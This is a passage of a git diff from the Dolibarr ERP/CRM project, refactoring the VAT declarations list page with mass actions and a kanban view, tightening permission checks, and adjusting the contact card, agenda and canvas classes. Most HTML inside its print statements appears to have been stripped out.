dol_sort_array($arrayfields, 'position'); $hookmanager->initHooks(array('salestaxeslist')); $object = new Tva($db); +$permissiontoadd = $user->hasRight('tax', 'charges', 'creer'); +$permissiontodelete = $user->hasRight('tax', 'charges', 'supprimer'); + // Security check $socid = GETPOST('socid', 'int'); if ($user->socid) { @@ -115,6 +124,7 @@ if ($reshook < 0) { if (empty($reshook)) { + // Selection of new fields include DOL_DOCUMENT_ROOT.'/core/actions_changeselectedfields.inc.php'; if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // Both test are required to be compatible with all browsers @@ -128,7 +138,15 @@ if (empty($reshook)) { $search_account = ''; $search_amount = ''; $search_status = ''; + $toselect = array(); + $search_array_options = array(); } + + // Mass actions + $objectclass = 'Tva'; + $objectlabel = 'Tva'; + $uploaddir = $conf->tax->dir_output; + include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; } @@ -144,12 +162,22 @@ $bankstatic = new Account($db); $accountingjournal = new AccountingJournal($db); $bankline = new AccountLine($db); -llxHeader('', $langs->trans("VATDeclarations")); +$now = dol_now(); -$sql = 'SELECT t.rowid, t.amount, t.label, t.datev, t.datep, t.paye, t.fk_typepayment as type, t.fk_account,'; +$title = $langs->trans("VATDeclarations"); +//$help_url = "EN:Module_MyObject|FR:Module_MyObject_FR|ES:Módulo_MyObject"; +$help_url = ''; + + +// Build and execute select +// -------------------------------------------------------------------- +$sql = 'SELECT t.rowid, t.amount, t.label, t.datev, t.datep, t.paye as status, t.fk_typepayment as type, t.fk_account,'; $sql.= ' ba.label as blabel, ba.ref as bref, ba.number as bnumber, ba.account_number, ba.iban_prefix as iban, ba.bic, ba.currency_code, ba.clos,'; $sql.= ' t.num_payment, pst.code as payment_code,'; $sql .= ' SUM(ptva.amount) as alreadypayed'; + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= ' FROM '.MAIN_DB_PREFIX.'tva as t'; $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'c_paiement as pst ON (t.fk_typepayment = pst.id)'; $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'bank_account as ba ON (t.fk_account = ba.rowid)'; @@ -188,38 +216,59 @@ if ($search_status != '' && $search_status >= 0) { } $sql .= " GROUP BY t.rowid, t.amount, t.label, t.datev, t.datep, t.paye, t.fk_typepayment, t.fk_account, ba.label, ba.ref, ba.number, ba.account_number, ba.iban_prefix, ba.bic, ba.currency_code, ba.clos, t.num_payment, pst.code"; -$sql .= $db->order($sortfield, $sortorder); +// Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } - // if total resultset is smaller then paging size (filtering), goto and load page 0 - if (($page * $limit) > $nbtotalofrecords) { + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller than the paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -$sql .= $db->plimit($limit + 1, $offset); +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} $resql = $db->query($sql); if (!$resql) { dol_print_error($db); - llxFooter(); - $db->close(); exit; } $num = $db->num_rows($resql); + +// Output page +// -------------------------------------------------------------------- + +llxHeader('', $title, $help_url); + +$arrayofselected = is_array($toselect) ? $toselect : array(); + $param = ''; -if (!empty($contextpage) && $contextpage != $_SERVER['PHP_SELF']) { - $param .= '&contextpage='.$contextpage; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} +if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { + $param .= '&contextpage='.urlencode($contextpage); } if ($limit > 0 && $limit != $conf->liste_limit) { - $param .= '&limit='.$limit; + $param .= '&limit='.((int) $limit); } if ($optioncss != '') { $param .= '&optioncss='.urlencode($optioncss); @@ -279,42 +328,95 @@ if (!empty($search_amount)) { if ($search_status != '' && $search_status != '-1') { $param .= '&search_status='.urlencode($search_status); } + +// List of mass actions available $arrayofmassactions = array( //'presend'=>img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), //'builddoc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("PDFMerge"), ); +if (!empty($permissiontodelete)) { + $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); +} $massactionbutton = $form->selectMassAction('', $arrayofmassactions); $moreforfilter = ''; -print ''; +print ''; if ($optioncss != '') { print ''; } print ''; +print ''; print ''; print ''; print ''; print ''; +print ''; print ''; +print ''; +print ''; $url = DOL_URL_ROOT.'/compta/tva/card.php?action=create'; if (!empty($socid)) { $url .= '&socid='.$socid; } -$newcardbutton = dolGetButtonTitle($langs->trans('NewVATPayment'), '', 'fa fa-plus-circle', $url, '', $user->rights->tax->charges->creer); -print_barre_liste($langs->trans("VATDeclarations"), $page, $_SERVER['PHP_SELF'], $param, $sortfield, $sortorder, '', $num, $nbtotalofrecords, 'title_accountancy', 0, $newcardbutton, '', $limit, 0, 0, 1); +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitleSeparator(); +$newcardbutton .= dolGetButtonTitle($langs->trans('NewVATPayment'), '', 'fa fa-plus-circle', $url, '', $permissiontoadd); + +print_barre_liste($title, $page, $_SERVER['PHP_SELF'], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'title_accountancy', 0, $newcardbutton, '', $limit, 0, 0, 1); + +// Add code for pre mass action (confirmation or email presend form) +$topicmail = "SendVAT"; +$modelmail = "vat"; +$objecttmp = new Tva($db); +$trackid = 'vat'.$object->id; +include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; $varpage = empty($contextpage) ? $_SERVER['PHP_SELF'] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')); // This also change content of $arrayfields if ($massactionbutton) { $selectedfields .= $form->showCheckAddButtons('checkforselect', 1); } -print '
      '; -print '
      ' . $langs->trans("Year") . " " . $y . '' . $langs->trans("Year") . '' . $langs->trans("VATToPay") . '' . $langs->trans("VATToCollect") . '' . $langs->trans("Balance") . '
      ' . $langs->trans("ErrorNoAccountancyModuleLoaded") . '
      ' . $langs->trans("FeatureNotYetAvailable") . '
      ' . dol_print_date(dol_mktime(0, 0, 0, $m, 1, $y), "%b %Y") . '
      '; +$moreforfilter = ''; +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +if (empty($reshook)) { + $moreforfilter .= $hookmanager->resPrint; +} else { + $moreforfilter = $hookmanager->resPrint; +} + +if (!empty($moreforfilter)) { + print '
      '; + print $moreforfilter; + $parameters = array(); + $reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + print '
      '; +} + +$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; +$selectedfields = ($mode != 'kanban' ? $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN', '')) : ''); // This also change content of $arrayfields +$selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); + +print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table +print '
      '."\n"; + +// Fields title search +// -------------------------------------------------------------------- print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} // Filters: Lines (placeholder) if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { @@ -383,185 +485,271 @@ if (!empty($arrayfields['t.amount']['checked'])) { // Status if (!empty($arrayfields['t.status']['checked'])) { - print ''; } +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; + // Fields from hook $parameters = array('arrayfields'=>$arrayfields); -$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; -// Filter: Buttons -print ''; +// Action column +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} +print ''."\n"; -print ''; +$totalarray = array(); +$totalarray['nbfield'] = 0; +// Fields title label +// -------------------------------------------------------------------- print ''; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; +} if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { print_liste_field_titre('#', $_SERVER['PHP_SELF'], '', '', $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['t.rowid']['checked'])) { print_liste_field_titre($arrayfields['t.rowid']['label'], $_SERVER['PHP_SELF'], 't.rowid', '', $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['t.label']['checked'])) { print_liste_field_titre($arrayfields['t.label']['label'], $_SERVER['PHP_SELF'], 't.label', '', $param, 'align="left"', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['t.datev']['checked'])) { print_liste_field_titre($arrayfields['t.datev']['label'], $_SERVER['PHP_SELF'], 't.datev', '', $param, 'align="center"', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['t.fk_typepayment']['checked'])) { print_liste_field_titre($arrayfields['t.fk_typepayment']['label'], $_SERVER['PHP_SELF'], 't.fk_typepayment', '', $param, '', $sortfield, $sortorder, 'left '); + $totalarray['nbfield']++; } if (!empty($arrayfields['t.fk_account']['checked'])) { print_liste_field_titre($arrayfields['t.fk_account']['label'], $_SERVER['PHP_SELF'], 't.fk_account', '', $param, '', $sortfield, $sortorder, 'left '); + $totalarray['nbfield']++; } if (!empty($arrayfields['t.amount']['checked'])) { print_liste_field_titre($arrayfields['t.amount']['label'], $_SERVER['PHP_SELF'], 't.amount', '', $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['t.status']['checked'])) { print_liste_field_titre($arrayfields['t.status']['label'], $_SERVER["PHP_SELF"], "t.paye", "", $param, 'class="right"', $sortfield, $sortorder); + $totalarray['nbfield']++; } - +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; // Hook fields $parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); -$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; -print_liste_field_titre($selectedfields, $_SERVER['PHP_SELF'], '', '', '', 'align="center"', $sortfield, $sortorder, 'maxwidthsearch '); -print ''; +// Action column +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; +} +print ''."\n"; +// Loop on record +// -------------------------------------------------------------------- $i = 0; +$savnbfield = $totalarray['nbfield']; $totalarray = array(); $totalarray['nbfield'] = 0; -$total = 0; - -while ($i < min($num, $limit)) { +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { $obj = $db->fetch_object($resql); + if (empty($obj)) { + break; // Should not happen + } $tva_static->id = $obj->rowid; $tva_static->ref = $obj->rowid; $tva_static->label = $obj->label; + $tva_static->type_payment = $obj->payment_code; + $tva_static->datev = $obj->datev; + $tva_static->amount = $obj->amount; + $tva_static->paye = $obj->status; + $tva_static->status = $obj->status; + $object = $tva_static; - print ''; - - // No - if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + if ($mode == 'kanban') { + if ($i == 0) { + print ''; - if (!$i) { - $totalarray['nbfield']++; + // Output Kanban + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } } - } - - // Label - if (!empty($arrayfields['t.label']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + print $object->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print ''; + print ''; } - } - - // Date end period - if (!empty($arrayfields['t.datev']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + } else { + // Show here line of result + $j = 0; + print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // Date payment - /*if (!empty($arrayfields['t.datep']['checked'])) { - print ''; - if (!$i) $totalarray['nbfield']++; - }*/ - - // Type - if (!empty($arrayfields['t.fk_typepayment']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + // No + if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // Account - if (!empty($arrayfields['t.fk_account']['checked'])) { - print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - print ''; - if (!$i) $totalarray['nbfield']++; - } - // Amount - if (!empty($arrayfields['t.amount']['checked'])) { - $total = $total + $obj->amount; - print ''; - if (!$i) { - $totalarray['nbfield']++; + // Label + if (!empty($arrayfields['t.label']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - $totalarray['pos'][$totalarray['nbfield']] = 'amount'; - if (empty($totalarray['val']['amount'])) { - $totalarray['val']['amount'] = $obj->amount; - } else { - $totalarray['val']['amount'] += $obj->amount; - } - } - if (!empty($arrayfields['t.status']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + // Date end period + if (!empty($arrayfields['t.datev']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } + + // Date payment + /*if // Buttons + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + }(!empty($arrayfields['t.datep']['checked'])) { + print ''; + if (!$i) $totalarray['nbfield']++; + }*/ + + // Type + if (!empty($arrayfields['t.fk_typepayment']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Account + if (!empty($arrayfields['t.fk_account']['checked'])) { + print ''; + if (!$i) $totalarray['nbfield']++; + } + + // Amount if (!empty($arrayfields['t.amount']['checked'])) { - $totalarray['pos'][$totalarray['nbfield']] = ''; + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + $totalarray['pos'][$totalarray['nbfield']] = 'amount'; + if (empty($totalarray['val']['amount'])) { + $totalarray['val']['amount'] = $obj->amount; + } else { + $totalarray['val']['amount'] += $obj->amount; + } } + + if (!empty($arrayfields['t.status']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!empty($arrayfields['t.amount']['checked'])) { + $totalarray['pos'][$totalarray['nbfield']] = ''; + } + } + + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + print ''."\n"; } - // Buttons - print ''; - - print ''; - $i++; } -// Add a buttons placeholder for the total line -$totalarray['nbfield']++; - // Show total line include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; @@ -579,7 +767,7 @@ if ($num == 0) { $db->free($resql); $parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); -$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; print '
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; + print ''; $liststatus = array('0' => $langs->trans("Unpaid"), '1' => $langs->trans("Paid")); - print $form->selectarray('search_status', $liststatus, $search_status, 1); + print $form->selectarray('search_status', $liststatus, $search_status, 1, 0, 0, '', 0, 0, 0, '', 'search_status width100 onrightofpage'); print ''; -print $form->showFilterAndCheckAddButtons(0); -print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '.(($offset * $limit) + $i).'
      '; + print '
      '; } - } - - // Ref - if (!empty($arrayfields['t.rowid']['checked'])) { - print '
      '; - print $tva_static->getNomUrl(1); - $filename = dol_sanitizeFileName($tva_static->ref); - $filedir = $conf->tax->dir_output.'/vat/'.dol_sanitizeFileName($tva_static->ref); - $urlsource = $_SERVER['PHP_SELF'].'?id='.$tva_static->id; - print $formfile->getDocumentsLink($tva_static->element, $filename, $filedir, '', 'valignmiddle paddingleft2imp'); - print ''.dol_trunc($obj->label, 40).'
      '.dol_print_date($db->jdate($obj->datev), 'day').'
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print ''.dol_print_date($db->jdate($obj->datep), 'day').''; - if (!empty($obj->payment_code)) print $langs->trans("PaymentTypeShort".$obj->payment_code); - print ''.(($offset * $limit) + $i).''; - if ($obj->fk_account > 0) { - $bankstatic->id = $obj->fk_account; - $bankstatic->ref = $obj->bref; - $bankstatic->number = $obj->bnumber; - $bankstatic->iban = $obj->iban; - $bankstatic->bic = $obj->bic; - $bankstatic->currency_code = $langs->trans("Currency".$obj->currency_code); - $bankstatic->account_number = $obj->account_number; - $bankstatic->clos = $obj->clos; - - //$accountingjournal->fetch($obj->fk_accountancy_journal); - //$bankstatic->accountancy_journal = $accountingjournal->getNomUrl(0, 1, 1, '', 1); - - $bankstatic->label = $obj->blabel; - print $bankstatic->getNomUrl(1); + // Ref + if (!empty($arrayfields['t.rowid']['checked'])) { + print ''; + print $tva_static->getNomUrl(1); + $filename = dol_sanitizeFileName($tva_static->ref); + $filedir = $conf->tax->dir_output.'/vat/'.dol_sanitizeFileName($tva_static->ref); + $urlsource = $_SERVER['PHP_SELF'].'?id='.$tva_static->id; + print $formfile->getDocumentsLink($tva_static->element, $filename, $filedir, '', 'valignmiddle paddingleft2imp'); + print '' . price($obj->amount) . ''.dol_trunc($obj->label, 40).'' . $tva_static->LibStatut($obj->paye, 5, $obj->alreadypayed) . ''.dol_print_date($db->jdate($obj->datev), 'day').''.dol_print_date($db->jdate($obj->datep), 'day').''; + if (!empty($obj->payment_code)) print $langs->trans("PaymentTypeShort".$obj->payment_code); + print ''; + if ($obj->fk_account > 0) { + $bankstatic->id = $obj->fk_account; + $bankstatic->ref = $obj->bref; + $bankstatic->number = $obj->bnumber; + $bankstatic->iban = $obj->iban; + $bankstatic->bic = $obj->bic; + $bankstatic->currency_code = $langs->trans("Currency".$obj->currency_code); + $bankstatic->account_number = $obj->account_number; + $bankstatic->clos = $obj->clos; + + //$accountingjournal->fetch($obj->fk_accountancy_journal); + //$bankstatic->accountancy_journal = $accountingjournal->getNomUrl(0, 1, 1, '', 1); + + $bankstatic->label = $obj->blabel; + print $bankstatic->getNomUrl(1); + } + print '' . price($obj->amount) . '' . $tva_static->getLibStatut(5, $obj->alreadypayed) . ''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '."\n"; diff --git a/htdocs/compta/tva/quadri_detail.php b/htdocs/compta/tva/quadri_detail.php index 997c90e083c..1cedd5ce410 100644 --- a/htdocs/compta/tva/quadri_detail.php +++ b/htdocs/compta/tva/quadri_detail.php @@ -203,7 +203,7 @@ $vatexpensereport = $langs->trans("VATPaid"); // VAT Received and paid print '
      '; -print ''; +print '
      '; $y = $year_current; $i = 0; diff --git a/htdocs/conf/conf.php.example b/htdocs/conf/conf.php.example index 1cc028ff137..5325523f8e5 100644 --- a/htdocs/conf/conf.php.example +++ b/htdocs/conf/conf.php.example @@ -302,7 +302,7 @@ $dolibarr_main_restrict_ip=''; // This might be required if you access Dolibarr behind a proxy that make bad URL rewriting, to avoid false alarms. // In most cases, you should always keep this to 0. // Default value: 0 -// Possible values: 0 or 1 +// Possible values: 0 or 1 (no strict CSRF test, only test on referer) or 2 (no CSRF test at all) // Examples: // $dolibarr_nocsrfcheck='0'; // diff --git a/htdocs/contact/agenda.php b/htdocs/contact/agenda.php index 29706f48b49..f4cfeaa38cd 100644 --- a/htdocs/contact/agenda.php +++ b/htdocs/contact/agenda.php @@ -81,8 +81,9 @@ if (GETPOST('actioncode', 'array')) { $actioncode = '0'; } } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); // Security check @@ -225,11 +226,10 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { $objsoc = new Societe($db); $objsoc->fetch($object->socid); // Thirdparty - $morehtmlref .= $langs->trans('ThirdParty').' : '; if ($objsoc->id > 0) { $morehtmlref .= $objsoc->getNomUrl(1); } else { - $morehtmlref .= $langs->trans("ContactNotLinkedToCompany"); + $morehtmlref .= ''.$langs->trans("ContactNotLinkedToCompany").''; } } $morehtmlref .= ''; @@ -262,11 +262,11 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { if (is_object($objthirdparty) && get_class($objthirdparty) == 'Societe') { $out .= '&originid='.$objthirdparty->id.($objthirdparty->id > 0 ? '&socid='.$objthirdparty->id : ''); } - $out .= (!empty($objcon->id) ? '&contactid='.$objcon->id : '').'&origin=contact&originid='.$object->id.'&percentage=-1&backtopage='.urlencode($_SERVER['PHP_SELF'].($objcon->id > 0 ? '?id='.$objcon->id : '')); + $out .= (!empty($objcon->id) ? '&contactid='.$objcon->id : '').'&origin=contact&originid='.$object->id.'&backtopage='.urlencode($_SERVER['PHP_SELF'].($objcon->id > 0 ? '?id='.$objcon->id : '')); $out .= '&datep='.urlencode(dol_print_date(dol_now(), 'dayhourlog')); } - if (!empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create)) { + if (!empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create')) { $newcardbutton .= dolGetButtonTitle($langs->trans('AddAction'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/comm/action/card.php?action=create'.$out); } } @@ -288,6 +288,7 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; show_actions_done($conf, $langs, $db, $objthirdparty, $object, 0, $actioncode, '', $filters, $sortfield, $sortorder); } diff --git a/htdocs/contact/canvas/actions_contactcard_common.class.php b/htdocs/contact/canvas/actions_contactcard_common.class.php index 4a3fc28c9de..3c82ae4f99b 100644 --- a/htdocs/contact/canvas/actions_contactcard_common.class.php +++ b/htdocs/contact/canvas/actions_contactcard_common.class.php @@ -74,8 +74,10 @@ abstract class ActionsContactCardCommon if (!empty($id)) { $object->fetch($id); } - $this->object = $object; - //} + + $this->object = $object; + + return $object; } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps @@ -84,7 +86,7 @@ abstract class ActionsContactCardCommon * * @param string $action Type of action * @param int $id Id - * @return string HTML output + * @return void */ public function assign_values(&$action, $id) { diff --git a/htdocs/contact/canvas/default/actions_contactcard_default.class.php b/htdocs/contact/canvas/default/actions_contactcard_default.class.php index 846f7440f97..20be2b468b4 100644 --- a/htdocs/contact/canvas/default/actions_contactcard_default.class.php +++ b/htdocs/contact/canvas/default/actions_contactcard_default.class.php @@ -83,7 +83,6 @@ class ActionsContactCardDefault extends ActionsContactCardCommon public function assign_values(&$action, $id) { // phpcs:enable - global $limit, $offset, $sortfield, $sortorder; global $conf, $db, $langs, $user; global $form; @@ -115,30 +114,5 @@ class ActionsContactCardDefault extends ActionsContactCardCommon $this->tpl['action_delete'] = $form->formconfirm($_SERVER["PHP_SELF"]."?id=".$this->object->id, $langs->trans("DeleteContact"), $langs->trans("ConfirmDeleteContact"), "confirm_delete", '', 0, 1); } } - - if ($action == 'list') { - $this->LoadListDatas($limit, $offset, $sortfield, $sortorder); - } - } - - - // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps - /** - * Fetch datas list and save into ->list_datas - * - * @param int $limit Limit number of responses - * @param int $offset Offset for first response - * @param string $sortfield Sort field - * @param string $sortorder Sort order ('ASC' or 'DESC') - * @return void - */ - public function LoadListDatas($limit, $offset, $sortfield, $sortorder) - { - // phpcs:enable - global $conf, $langs; - - //$this->getFieldList(); - - $this->list_datas = array(); } } diff --git a/htdocs/contact/card.php b/htdocs/contact/card.php index 8e9c6f2a321..cbdce0c5d04 100644 --- a/htdocs/contact/card.php +++ b/htdocs/contact/card.php @@ -86,6 +86,7 @@ $hookmanager->initHooks(array('contactcard', 'globalcard')); if ($id > 0) { $object->fetch($id); + $object->info($id); } if (!($object->id > 0) && $action == 'view') { @@ -95,12 +96,15 @@ if (!($object->id > 0) && $action == 'view') { } $triggermodname = 'CONTACT_MODIFY'; -$permissiontoadd = $user->rights->societe->contact->creer; +$permissiontoadd = $user->hasRight('societe', 'contact', 'creer'); // Security check if ($user->socid) { $socid = $user->socid; } +if ($object->priv && $object->user_creation->id != $user->id) { + accessforbidden(); +} $result = restrictedArea($user, 'contact', $id, 'socpeople&societe', '', '', 'rowid', 0); // If we create a contact with no company (shared contacts), no check on write permission @@ -209,11 +213,6 @@ if (empty($reshook)) { $object->town = (string) GETPOST("town", 'alpha'); $object->country_id = (int) GETPOST("country_id", 'int'); $object->state_id = (int) GETPOST("state_id", 'int'); - //$object->jabberid = GETPOST("jabberid", 'alpha'); - //$object->skype = GETPOST("skype", 'alpha'); - //$object->twitter = GETPOST("twitter", 'alpha'); - //$object->facebook = GETPOST("facebook", 'alpha'); - //$object->linkedin = GETPOST("linkedin", 'alpha'); $object->socialnetworks = array(); if (isModEnabled('socialnetworks')) { foreach ($socialnetworks as $key => $value) { @@ -318,9 +317,6 @@ if (empty($reshook)) { $result = $object->fetch($id); $object->oldcopy = clone $object; - $object->old_lastname = (string) GETPOST("old_lastname", 'alpha'); - $object->old_firstname = (string) GETPOST("old_firstname", 'alpha'); - $result = $object->delete(); // TODO Add $user as first param if ($result > 0) { setEventMessages("RecordDeleted", null, 'mesgs'); @@ -358,7 +354,7 @@ if (empty($reshook)) { if (!$error) { $contactid = GETPOST("contactid", 'int'); $object->fetch($contactid); - $object->fetchRoles($contactid); + $object->fetchRoles(); // Photo save $dir = $conf->societe->multidir_output[$object->entity]."/contact/".$object->id."/photos"; @@ -404,9 +400,6 @@ if (empty($reshook)) { $object->oldcopy = clone $object; - $object->old_lastname = (string) GETPOST("old_lastname", 'alpha'); - $object->old_firstname = (string) GETPOST("old_firstname", 'alpha'); - $object->socid = GETPOST("socid", 'int'); $object->lastname = (string) GETPOST("lastname", 'alpha'); $object->firstname = (string) GETPOST("firstname", 'alpha'); @@ -421,11 +414,6 @@ if (empty($reshook)) { $object->email = (string) GETPOST('email', 'custom', 0, FILTER_SANITIZE_EMAIL); $object->no_email = GETPOST("no_email", "int"); - //$object->jabberid = GETPOST("jabberid", 'alpha'); - //$object->skype = GETPOST("skype", 'alpha'); - //$object->twitter = GETPOST("twitter", 'alpha'); - //$object->facebook = GETPOST("facebook", 'alpha'); - //$object->linkedin = GETPOST("linkedin", 'alpha'); $object->socialnetworks = array(); if (isModEnabled('socialnetworks')) { foreach ($socialnetworks as $key => $value) { @@ -692,6 +680,7 @@ if (is_object($objcanvas) && 